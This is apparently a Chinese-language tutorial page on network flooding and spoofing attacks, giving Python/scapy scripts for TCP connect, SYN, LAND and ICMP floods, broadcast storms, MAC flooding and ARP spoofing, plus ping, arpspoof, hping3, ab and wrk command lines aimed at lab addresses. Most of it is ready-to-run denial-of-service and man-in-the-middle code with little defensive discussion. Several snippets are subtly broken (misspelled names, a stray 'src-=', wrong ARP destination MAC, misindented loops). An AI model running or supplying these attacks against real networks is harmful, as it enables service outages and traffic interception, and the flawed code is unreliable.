泛洪

泛洪

一、基础

1.什么是泛洪

  • 泛洪的基本原理就是基于协议通信,完成大流量高并发操作,导致目标主机各类资源消耗过多资源而无法提供正常服务。基于多线程或多进程(MAC地址泛洪、ARP泛洪欺骗)

2.利用条件

  • 供给端和目标主机之间能够正常通信
  • 目标主机没有配置很好防御措施

3.使用socket三次握手泛洪

def socket_flood():
    while True:
        s = socket.socket()
        s.connect(('192.168.101.2',3306))

if __name__ == '__main__':
    for i in range(500):
        threading.Thread(target=socket_flood).start()

4.使用scapy半连接泛洪

def scapy_flood():
    while True:
        sport=random.randint(10000,30000)
        send(IP(dst="192.168.101.9")/TCP(sport=sport,dport=3306,flags='S'))

if __name__ == '__main__':
for i in range(500):
    threading.Thread(target=scapy_flood).start()

5.TCP Land泛洪

  • 源IP地址和目的IP地址是同一个
def scapy_flood():
    while True:
        sport=random.randint(10000,30000)
        send(IP(src-='192.168.101.9',dst="192.168.101.9")/TCP(sport=sport,dport=3306,flags='S')/"hello,world")

if __name__ == '__main__':
for i in range(500):
    threading.Thread(target=scapy_flood).start()

反射型攻击:张三要攻击李四,张三将攻击流量的源IP地址设置为王五的IP地址,李四将直接和王五通信,导致李四和王五都被攻击。如要攻击主机A,现在可以ping主机BCDEFGHIJK,但是设置ping的源地址为主机A

6.ICMP泛洪

def icmp_flood():
    payload = "hello,world" * 50
    while True:
        send(IP(dst="192.168.101.9")/ICMP()/payload*100)

if __name__ == '__main__':
for i in range(500):
    threading.Thread(target=icmp_flood).start()

7.ICMP广播风暴

  • 广播数据包
def icmp_broadcast():
    payload = "hello,world" * 50
    while True:
        send(IP(dst="192.168.101.255")/ICMP()/payload*100)

if __name__ == '__main__':
for i in range(500):
    threading.Thread(target=icmp_broadcast).start()

8.使用Ping命令泛洪

  • Linux中ping命令的-i参数可以设置发送时间间隔,-s设置包大小,-f设置尽最大能力发
  • 将每次ping的时间间隔设置很短
  • 将ping的数据包设置很大,添加负载
ping -i 0.001 -s 2000 192.168.101.9
ping -f 192.168.101.9

二、MAC地址泛洪

1.攻击原理

  • 定义任意数据包,发送并生成随机的MAC地址,不停地发送该数据包,该数据包会流向交换机,而此时交换机会发现源MAC地址在MAC表中不存在,交换机会将其添加到MAC表中。如果发送数据量很大,则会填满MAC表,导致新的数据包无法添加到MAC表中,此时,理论上交换机就会广播,一旦交换机进行数据广播,则会导致整个局域网地数据流量全部全员可见。
  • MAC地址泛洪也存在其他情况,比如交换机崩溃,或者整个局域网无法上网等情况

2.使用python实现

from scapy.volatile import RandMAC, RandIP

def mac_flood():
    while True:
        # 使用RandMa产生的randmac每次被调用的值都是随机的
        randmac = RandMac("*:*:*:*:*:*")
        srandip = f"{randdom.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
        drandip = f"{randdom.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
        packet = Ether(src=randmac,dst=randmac)/ip(src=srandip,dst=drandip)
        # sendp用于发送二层数据包
        sendp(packet,iface='填入要发送的网卡名',loop=0)

if __name__ == '__main__':
for i in range(500):
    threading.Thread(target=mac_flood).start()

三、ARP攻击和欺骗

1.目的

  • ARP攻击:目的是让某台主机无法上网
  • ARP欺骗:让被攻击的主机的 流量经过攻击机
  • ARP地址解析协议:用于将IP地址转换成MAC地址,进而让交换机可以正确找到目的地

2.Linux实施攻击

  • 在Linux上进行攻击:使用arpspoof工具

    arpspoof -i eth0 -t 被攻击IP 网关IP
    
    # 开启流量转发
    echo 1 >> /proc/sys/net/ipv4/ip_forward
    # 实施ARP欺骗
    arpspoof -i eth0 -t 被攻击IP 网关IP

3.使用scapy完成ARP欺骗

  • 如何构造ARP欺骗数据包:攻击主机需要欺骗被攻击主机,让被攻击主机把攻击主机视为网关,这样出口流量可以经过该攻击主机,另外,攻击主机还需要欺骗网关,让网关以为入口流量的目的地就是攻击主机。攻击主机告诉被攻击主机我是网关,告诉网关我是被攻击主机。

windows7被攻击主机 IP:192.168.101.129 MAC:00:0c:29:ce:54:b6

kali linux攻击主机 IP:192.168.101.128 MAC:00:0c:29:42:2b:fc

网关 IP:192.168.101.1

  • python代码实现

    def arp_spoof():
      iface = "VMware Virtual Ethernet Adapter for VMnet8"
    
      # 被攻击主机的IP和mac
      target_ip = '192.168.101.129'
      target_mac = '00:0c:29:ce:54:b6'
    
      # 攻击主机的mac
      spoof_mac = '00:0c:29:42:2b:fc'
    
      # 网关IP
      gateway_ip = '192.168.101.1'
      # 用scapy内置函数通过IP获取mac
      gateway_mac = getmacbyip(gateway_ip)
      # 构造两个数据包,实现对被动技主机和网关的欺骗
    
      while True:
          # op=1代表ARP请求,op=2代表ARP响应
          # 欺骗被攻击主机
          packet = Ether(src=spoof_mac, dst=target_mac)/ARP(hwsrc=spoof_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip, op=2)
          sendp(packet,iface=iface)
    
          # 欺骗网关
          packet = Ether(src=spoof_mac, dst=target_mac)/ARP(hwsrc=spoof_mac, psrc=target_ip, hwdst=gateway_mac, pdst=gateway_ip, op=2)
          sendp(packet,iface=iface)
    
          time.sleep(1)
    
    if __name__ == '__main__':
    for i in range(500):
      threading.Thread(target=arp_spoof).start()

四、使用工具

1.hping3

  • syn+随机IP泛洪

    hping3 --flood -S --rand-sorce -p 端口 目标IP
    hping3 -c 10000 -d 120 -S -p 80 --flood --rand-sorce 192.168.101.2
    
    -c  ->  发送的数量
    -d  ->  包的大小
    -S  ->  只发送SYN包
    -p  ->  指定目标端口
    --flood  ->  不显示回应,泛洪模式
    --rand-sorce  ->  使用随机的源IP
  • ICMP泛洪

    hping3 --icmp --rand-source --flood -d 1400 192.168.101.2

2.web压力测试

  • ab压力测试

    ab -n 100000 -c 1000 http://192.168.101.2/
    -n  ->  发包数量
    -c  ->  并发数量
  • wrk压力测试

    wrk -c 100000 -d 300s -t 5 http://192.168.101.2/
    -d  ->  持续时间
    -t  ->  线程数量
上一篇
下一篇